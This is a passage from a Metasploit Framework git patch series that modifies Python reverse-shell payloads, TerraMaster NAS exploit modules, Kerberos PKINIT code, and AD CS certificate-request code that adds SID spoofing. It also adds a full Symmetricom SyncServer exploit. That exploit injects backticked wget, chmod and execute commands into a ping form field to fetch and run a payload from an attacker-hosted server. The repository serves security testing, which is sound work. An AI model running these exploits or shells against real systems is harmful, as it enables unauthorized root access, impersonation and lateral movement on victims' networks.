--- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -53,7 +53,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() so.sendall(o) PYTHON diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb index 02e88934564e4..95af617d7a476 100644 --- a/modules/payloads/singles/python/shell_reverse_udp.rb +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -52,7 +52,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() PYTHON From 6030f75b1aae759a186eb27d376dae6f5b30aaa5 Mon Sep 17 00:00:00 2001 From: manishkumarr1017 Date: Thu, 8 Jun 2023 06:52:33 +0530 Subject: [PATCH 330/415] fixing indentation for shell reverse tcp payload --- modules/payloads/singles/python/shell_reverse_tcp.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index bacf5afd36777..2468480dcf129 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -48,12 +48,12 @@ def command_string so=s.socket(s.AF_INET,s.SOCK_STREAM) so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) while True: - d=so.recv(1024) - if len(d)==0: - break - p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) - o=p.stdout.read()+p.stderr.read() - so.send(o) + d=so.recv(1024) + if len(d)==0: + break + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + o=p.stdout.read()+p.stderr.read() + so.send(o) PYTHON py_create_exec_stub(cmd) From 717ceae45b606877b398142a06e3570b5f38b271 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 8 Jun 2023 15:02:41 +1000 Subject: [PATCH 331/415] Don't use length for freeing. MSDN says this will never succeed - should always be zero. --- .../extensions/stdapi/sys/process_subsystem/memory.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb index fe3ef9e7cd404..936209280863e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb @@ -99,19 +99,18 @@ def _allocate(base, length, allocation_type, protection) # # Deallocate a region of memory in the context of a process. # - def free(base, length = 0) - return _free(base, length) + def free(base) + return _free(base) end # # Low-level memory deallocation. # - def _free(base, length) + def _free(base) request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_FREE) request.add_tlv(TLV_TYPE_HANDLE, process.handle) request.add_tlv(TLV_TYPE_BASE_ADDRESS, base) - request.add_tlv(TLV_TYPE_LENGTH, length) process.client.send_request(request) From b3b0cb4ccf5db3939d0e855d84b8037305756a0e Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Thu, 8 Jun 2023 07:39:44 +0000 Subject: [PATCH 332/415] Updates based on space-r7 comments --- .../http/terramaster_unauth_rce_cve_2020_35665.md | 6 +++--- .../http/terramaster_unauth_rce_cve_2020_35665.rb | 11 +++-------- 2 files changed, 6 insertions(+), 11 deletions(-) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md index 53e5e01d612d0..4a3036591fa93 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2020_35665.md @@ -9,10 +9,10 @@ Because of this, any remote attacker, regardless of authentication, can exploit access to the underlying operating system as the user that the web services are running as (typically `root` in case of TerraMaster). Installing a vulnerable test bed requires a TerraMaster NAS device that can run `TOS 4.x` -This module has been tested against a TerraMaster `F2-210` Model with the specifications listed below: +This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: -* TerraMaster F2-210 -* CPU: `x64` +* TerraMaster F2-221 +* CPU: `x86` * TOS Version: `4.1.27` ## Verification Steps diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb index eafb15df770b6..d355537c9fd09 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb @@ -97,13 +97,8 @@ def initialize(info = {}) end def upload_webshell - # randomize file name and extension if option WEBSHELL is not set - file_ext = %w[php] - @webshell_name = if datastore['WEBSHELL'].blank? - "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}" - else - datastore['WEBSHELL'].to_s - end + # randomize file name if option WEBSHELL is not set + @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s) @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) @@ -185,7 +180,7 @@ def check get_terramaster_info return CheckCode::Safe if @terramaster.empty? - if @terramaster['tos_version'] <= '4.2.06' + if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.06') return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") else return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") From 0bcd930f611b647b6fe5a18c4c879261721ae860 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Thu, 8 Jun 2023 09:12:45 +0000 Subject: [PATCH 333/415] Updated NAS model and version check --- .../linux/http/terramaster_unauth_rce_cve_2021_45837.md | 6 +++--- .../linux/http/terramaster_unauth_rce_cve_2021_45837.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md index 862bf9b6d4ac4..ebdec8785e27e 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2021_45837.md @@ -16,10 +16,10 @@ to be used for the session crafting. Finally, [CVE-2021-45837](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45837) is exploited to execute arbitrary commands as root by sending a specifically crafted input to vulnerable endpoint `/tos/index.php?app/del`. -This module has been tested against a TerraMaster `F2-210` Model with the specifications listed below: +This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below: -* TerraMaster F2-210 -* CPU: `x64` +* TerraMaster F2-221 +* CPU: `x86` * TOS Version: `4.2.08` ## Verification Steps diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb index c819bd22155a8..38ff2d22259d4 100644 --- a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb @@ -259,7 +259,7 @@ def check get_terramaster_info return CheckCode::Safe if @terramaster.empty? - if @terramaster['tos_version'] <= '4.2.15' + if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15') return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") else return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") From 601306b795e271527a92c245df95818978c2ed66 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 8 Jun 2023 08:56:26 -0500 Subject: [PATCH 334/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 64 +++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9cdea6dc08e1e..faf0197f371f6 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -164143,6 +164143,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/misc/delta_electronics_infrasuite_deserialization": { + "name": "Delta Electronics InfraSuite Device Master Deserialization", + "fullname": "exploit/windows/misc/delta_electronics_infrasuite_deserialization", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-05-17", + "type": "exploit", + "author": [ + "Anonymous", + "Shelby Pace" + ], + "description": "Delta Electronics InfraSuite Device Master versions below v1.0.5 have an\n unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'\n method of the 'Device-Gateway-Status' process.\n\n The 'ParseUDPPacket()' method reads user-controlled packet data and eventually\n calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,\n leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.", + "references": [ + "CVE-2023-1133", + "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-672/", + "URL-https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133" + ], + "platform": "Windows", + "arch": "cmd, x86, x64", + "rport": 10100, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows EXE Dropper", + "Windows CMD" + ], + "mod_time": "2023-06-07 16:42:01 +0000", + "path": "/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb", + "is_install_path": true, + "ref_name": "windows/misc/delta_electronics_infrasuite_deserialization", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs", + "screen-effects" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/misc/disk_savvy_adm": { "name": "Disk Savvy Enterprise v10.4.18", "fullname": "exploit/windows/misc/disk_savvy_adm", From 229fc0c002f1579530001b80ca05c7513548c5c6 Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 8 Jun 2023 12:46:10 -0400 Subject: [PATCH 335/415] Added symmetricom_syncserver_rce.rb --- .../linux/http/symmetricom_syncserver_rce.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 modules/exploits/linux/http/symmetricom_syncserver_rce.rb diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb new file mode 100644 index 0000000000000..f1113b3349886 --- /dev/null +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -0,0 +1,124 @@ + require 'msf/core' + + class MetasploitModule < Msf::Exploit + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symmetricom SyncServer Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in /controller/ping.php. + The S100 through S350 (End of Life) models should be vulnerable to unauthenticated exploitation due to a session handling + vulnerabilitiy. Later models require authentication which is not provided in this module because we can't test it. + The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022). + Run 'check' first to determine if vulnerable. + }, + 'Author' => [ + 'Steve Campbell @lpha3ch0', # Exploit PoC, Metasploit module + 'Justin Fatuch Apt4hax', # Exploit PoC + 'Robert Bronstein' # Metasploit Module + ], + 'References' => [ + ['CVE', 'TBD'], + ['URL', 'TBD'] + ], + 'DisclosureDate' => 'TBD', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + [ 'Automatic', {} ], + ], + 'DefaultTarget' => 0 )) + register_options( + [ + OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']), + OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']), + OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444']) + ], self.class) + end + + def primer + end + + def on_request_uri(cli, req) + @pl = generate_payload_exe + print_status("#{peer} - Payload request received: #{req.uri}") + send_response(cli, @pl) + end + + def check + uri = '/controller/ping.php' + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'currentTab' => 'ping', + 'refreshMode' => 'dirty', + 'ethDirty' => 'false', + 'snmpCfgDirty' => 'false', + 'snmpTrapDirty' => 'false', + 'pingDirty' => 'true', + 'hostname' => "\`id\`", + 'port' => 'eth0', + 'pingType' => 'ping' + } + }) + if res && res.body.to_s =~ /uid=0/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def request(cmd) + uri = "/controller/ping.php" + res = send_request_cgi({ + 'method' => 'POST', + 'Content-Type' => 'application/x-www-form-encoded', + 'uri' => uri, + 'vars_post' => + { + 'currentTab' => 'ping', + 'refreshMode' => 'dirty', + 'ethDirty' => 'false', + 'snmpCfgDirty' => 'false', + 'snmpTrapDirty' => 'false', + 'pingDirty' => 'true', + 'hostname' => cmd, + 'port' => 'eth0', + 'pingType' => 'ping' + } + }) + end + + def exploit + srvhost=datastore['SRVHOST'] + srvport=datastore['SRVPORT'] + filename = datastore['FILENAME'] + resource_uri="/"+filename + shell_path = "/tmp/" + cmds=["\`wget${IFS}http://"+srvhost+"/"+filename+"${IFS}-O${IFS}"+shell_path+filename+"\`", + "\`chmod${IFS}700${IFS}"+shell_path+filename+"\`", + "\`"+shell_path+filename+"\`"] + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req)}, + 'Path' => resource_uri + }}) + print_status("#{rhost}:#{rport} - Exploit started...") + print_status("#{rhost}:#{rport} - Sending wget command...") + request(cmds[0]) + sleep(3) + print_status("#{rhost}:#{rport} - Making payload executable...") + request(cmds[1]) + sleep(3) + print_status("#{rhost}:#{rport} - Executing payload...") + request(cmds[2]) + sleep(3) + end + end From 55e67ac5cd10107a084b50d385fe5f55c73c444e Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 8 Jun 2023 11:47:13 -0500 Subject: [PATCH 336/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index faf0197f371f6..1abedc42d47c6 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -181701,7 +181701,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_python_ssl", @@ -210073,7 +210073,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "python/shell_bind_tcp", @@ -210107,7 +210107,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-12 10:24:19 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_reverse_sctp.rb", "is_install_path": true, "ref_name": "python/shell_reverse_sctp", @@ -210141,7 +210141,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:52:33 +0000", "path": "/modules/payloads/singles/python/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "python/shell_reverse_tcp", @@ -210175,7 +210175,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb", "is_install_path": true, "ref_name": "python/shell_reverse_tcp_ssl", @@ -210209,7 +210209,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", + "mod_time": "2023-06-08 06:44:37 +0000", "path": "/modules/payloads/singles/python/shell_reverse_udp.rb", "is_install_path": true, "ref_name": "python/shell_reverse_udp", From 92cf56295084200b4684fc9aa888853a45d549d3 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 8 Jun 2023 12:12:50 -0500 Subject: [PATCH 337/415] Bump version of framework to 6.3.21 --- Gemfile.lock | 2 +- LICENSE_GEMS | 2 +- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index fdcd7622ca778..37d4bcdf9173f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.3.20) + metasploit-framework (6.3.21) actionpack (~> 7.0) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index fe6306ce720a1..685bf474c9732 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -73,7 +73,7 @@ memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.1, "New BSD" metasploit-credential, 6.0.5, "New BSD" -metasploit-framework, 6.3.20, "New BSD" +metasploit-framework, 6.3.21, "New BSD" metasploit-model, 5.0.1, "New BSD" metasploit-payloads, 2.0.135, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 6d64c69e97b3a..4a84e8a681c41 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.3.20" + VERSION = "6.3.21" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From d8870d78762e11a8d80d668861b5e78279f680ef Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 8 Jun 2023 14:52:57 -0400 Subject: [PATCH 338/415] Address msftidy_docs complaints --- .../modules/post/windows/manage/make_token.md | 48 ++++++++++++++----- 1 file changed, 36 insertions(+), 12 deletions(-) diff --git a/documentation/modules/post/windows/manage/make_token.md b/documentation/modules/post/windows/manage/make_token.md index 39654174970ee..db481fd712b8e 100644 --- a/documentation/modules/post/windows/manage/make_token.md +++ b/documentation/modules/post/windows/manage/make_token.md @@ -1,4 +1,4 @@ -## Overview +## Vulnerable Application In its default configuration, this module creates a new network security context with the specified logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and a new logon session is created and linked to that token. The token is then impersonated to acquire @@ -6,26 +6,50 @@ the new network security context. This module has no effect on local actions - o (where the specified credential material will be used). This module does not validate the credentials specified. +## Verification Steps + +1. Start msfconsole +2. Get a Meterpreter session +3. Do: `use post/windows/manage/make_token` +4. Set the `USERNAME`, `PASSWORD` and `DOMAIN` options +5. Run the module + ## Options -- **USERNAME** - Username to use -- **PASSWORD** - Password to use -- **DOMAIN** - Domain to use -- **LOGONTYPE** - The type of logon operation to perform (defaults to `LOGON32_LOGON_NEW_CREDENTIALS`) +### USERNAME +Username to use + +### PASSWORD +Password to use + +### DOMAIN +Domain to use + +### LOGONTYPE +The type of logon operation to perform (defaults to `LOGON32_LOGON_NEW_CREDENTIALS`) ### LOGONTYPE This module defaults to `LOGON32_LOGON_NEW_CREDENTIALS` so as to mimic the behaviour of Cobalt Strike's -[`make_token`](https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials/) command. -However, any valid LOGONTYPE for the LogonUser function can be specified. More details can be found at -, by checking the +[`make_token`](https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials/) command. +However, any valid LOGONTYPE for the LogonUser function can be specified. More details can be found at +, by checking the `dwLogonType` flag. ## Scenarios -This module can be used as an alternative to modules like `post/windows/manage/run_as` or `post/windows/manage/run_as_psh`, which require the creation of a new process. This module impersonates the specified credentials in the current Meterpreter session, which can be leveraged to enum or move laterally to other systems on behalf of the impersonated user. +This module can be used as an alternative to modules like `post/windows/manage/run_as` or +`post/windows/manage/run_as_psh`, which require the creation of a new process. This module impersonates the specified +credentials in the current Meterpreter session, which can be leveraged to enum or move laterally to other systems on +behalf of the impersonated user. -## Limitations -In its default configuration, this module does not require privileges to create a new security context (new access token). Despite of this, some actions with the new token might require privileges. For example, in order to create a process with an access token - with functions like [CreateProcessAsUser](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) or [CreateProcessWithToken](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) - administrative privileges are needed. This means that if you use this module with a non-privileged user, your new processes will not inherit `make_token`'s security context. +### Limitations +In its default configuration, this module does not require privileges to create a new security context (new access +token). Despite of this, some actions with the new token might require privileges. For example, in order to create a +process with an access token - with functions like [CreateProcessAsUser](https://learn.microsoft.com/en- +us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) or +[CreateProcessWithToken](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) +- administrative privileges are needed. This means that if you use this module with a non-privileged user, your new +processes will not inherit `make_token`'s security context. -## Example +### Example ``` meterpreter > getuid From 47835b57a76451b0b0a89171bd19ba08de97434e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 31 May 2023 17:31:40 -0400 Subject: [PATCH 339/415] Add the ALT_SID datastore option --- lib/msf/core/exploit/remote/ms_icpr.rb | 35 ++++++++++++++++++++------ 1 file changed, 27 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 5071c3d56f3dd..900f6b8ebd87f 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -38,6 +38,7 @@ def initialize(info = {}) OptString.new('CA', [ true, 'The target certificate authority' ]), OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]), OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), + OptString.new('ALT_SID', [ false, 'Alternative object SID' ]), OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), @@ -51,6 +52,10 @@ def initialize(info = {}) def setup errors = {} + if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/ + errors['ALT_SID'] = 'Must be a valid SID.' + end + if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/ errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.' end @@ -102,7 +107,6 @@ def request_certificate(opts = {}) raise MsIcprUnknownError, e.message end - module_function def connect_ipc @@ -146,6 +150,7 @@ def do_request_cert(icpr, opts) user = opts[:username] || datastore['SMBUser'] status_msg = "Requesting a certificate for user #{user}" alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS']) + alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID']) alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN']) algorithm = opts[:algorithm] || datastore['DigestAlgorithm'] status_msg << " - alternate DNS: #{alt_dns}" if alt_dns @@ -155,6 +160,7 @@ def do_request_cert(icpr, opts) cn: user, private_key: private_key, dns: alt_dns, + msext_sid: alt_sid, msext_upn: alt_upn, algorithm: algorithm ) @@ -205,14 +211,14 @@ def do_request_cert(icpr, opts) return unless response[:certificate] - if (upn = get_cert_msext_upn(response[:certificate])) - print_status("Certificate UPN: #{upn}") - end - if (sid = get_cert_msext_sid(response[:certificate])) print_status("Certificate SID: #{sid}") end + if (upn = get_cert_msext_upn(response[:certificate])) + print_status("Certificate UPN: #{upn}") + end + pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate]) # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate" @@ -247,7 +253,7 @@ def do_request_cert(icpr, opts) # @param [String] dns An alternative DNS name to use. # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature). # @return [OpenSSL::X509::Request] The request object. - def build_csr(cn:, private_key:, dns: nil, msext_upn: nil, algorithm: 'SHA256') + def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256') request = OpenSSL::X509::Request.new request.version = 1 request.subject = OpenSSL::X509::Name.new([ @@ -255,15 +261,28 @@ def build_csr(cn:, private_key:, dns: nil, msext_upn: nil, algorithm: 'SHA256') ]) request.public_key = private_key.public_key + extensions = [] + subject_alt_names = [] subject_alt_names << "DNS:#{dns}" if dns subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn unless subject_alt_names.empty? - extension = OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + end + + if msext_sid + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { + type_id: OID_NTDS_OBJECTSID, + value: msext_sid + }) + extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) + end + + unless extensions.empty? request.add_attribute(OpenSSL::X509::Attribute.new( 'extReq', OpenSSL::ASN1::Set.new( - [OpenSSL::ASN1::Sequence.new([extension])] + [OpenSSL::ASN1::Sequence.new(extensions)] ) )) end From 2acc01401460633b4645e7f6150f9621ec8116f5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 6 Jun 2023 16:56:49 -0400 Subject: [PATCH 340/415] Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT --- lib/msf/core/exploit/remote/kerberos/client/as_request.rb | 2 +- lib/msf/core/exploit/remote/kerberos/client/pkinit.rb | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/remote/kerberos/client/as_request.rb b/lib/msf/core/exploit/remote/kerberos/client/as_request.rb index ef5712c77de13..6eb82cb2c6423 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/as_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/as_request.rb @@ -85,7 +85,7 @@ def build_as_request_body(opts = {}) from = opts.fetch(:from) { Time.at(0).utc } till = opts.fetch(:till) { Time.at(0).utc } rtime = opts.fetch(:rtime) { Time.at(0).utc } - nonce = opts.fetch(:nonce) { Rex::Text.rand_text_numeric(6).to_i } + nonce = opts.fetch(:nonce) { rand(1 << 24) } etype = opts.fetch(:etype) { Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes } cname = opts.fetch(:cname) { build_client_name(opts) } realm = opts.fetch(:realm) { '' } diff --git a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb index 1eabb3abab101..e28df241d4ec8 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb @@ -29,7 +29,7 @@ def build_dh dh = OpenSSL::PKey::DH.new( OpenSSL::ASN1::Sequence([ OpenSSL::ASN1::Integer(prime_modulus), - OpenSSL::ASN1::Integer(2), + OpenSSL::ASN1::Integer(2) ]).to_der ) if OpenSSL::PKey.respond_to?(:generate_key) @@ -195,9 +195,7 @@ def build_pa_pk_as_req(pfx, dh, dh_nonce, request_body, opts) ctime = opts.fetch(:ctime) { now_ctime } cusec = opts.fetch(:cusec) { now_time&.usec || 0 } nonce = opts.fetch(:nonce) { rand(1 << 31) } - # Request body needs to be tagged prior to encoding - request_body = OpenSSL::ASN1::ASN1Data.new([request_body.encode], 4, :CONTEXT_SPECIFIC) - data = request_body.to_der + data = request_body.encode checksum = Digest::SHA1.digest(data) pub_key_encoded = RASN1::Types::Integer.new(value: dh.pub_key.to_i).to_der auth_pack = Rex::Proto::Kerberos::Model::Pkinit::AuthPack.new( From 238118e8b5c489333b7e4964c2127af460436986 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 8 Jun 2023 11:49:57 -0400 Subject: [PATCH 341/415] Update module docs to discuss KB5014754 changes --- .../Attacking-AD-CS-ESC-Vulnerabilities.md | 9 ++++-- .../auxiliary/admin/dcerpc/icpr_cert.md | 31 ++++++++++++++++--- 2 files changed, 33 insertions(+), 7 deletions(-) diff --git 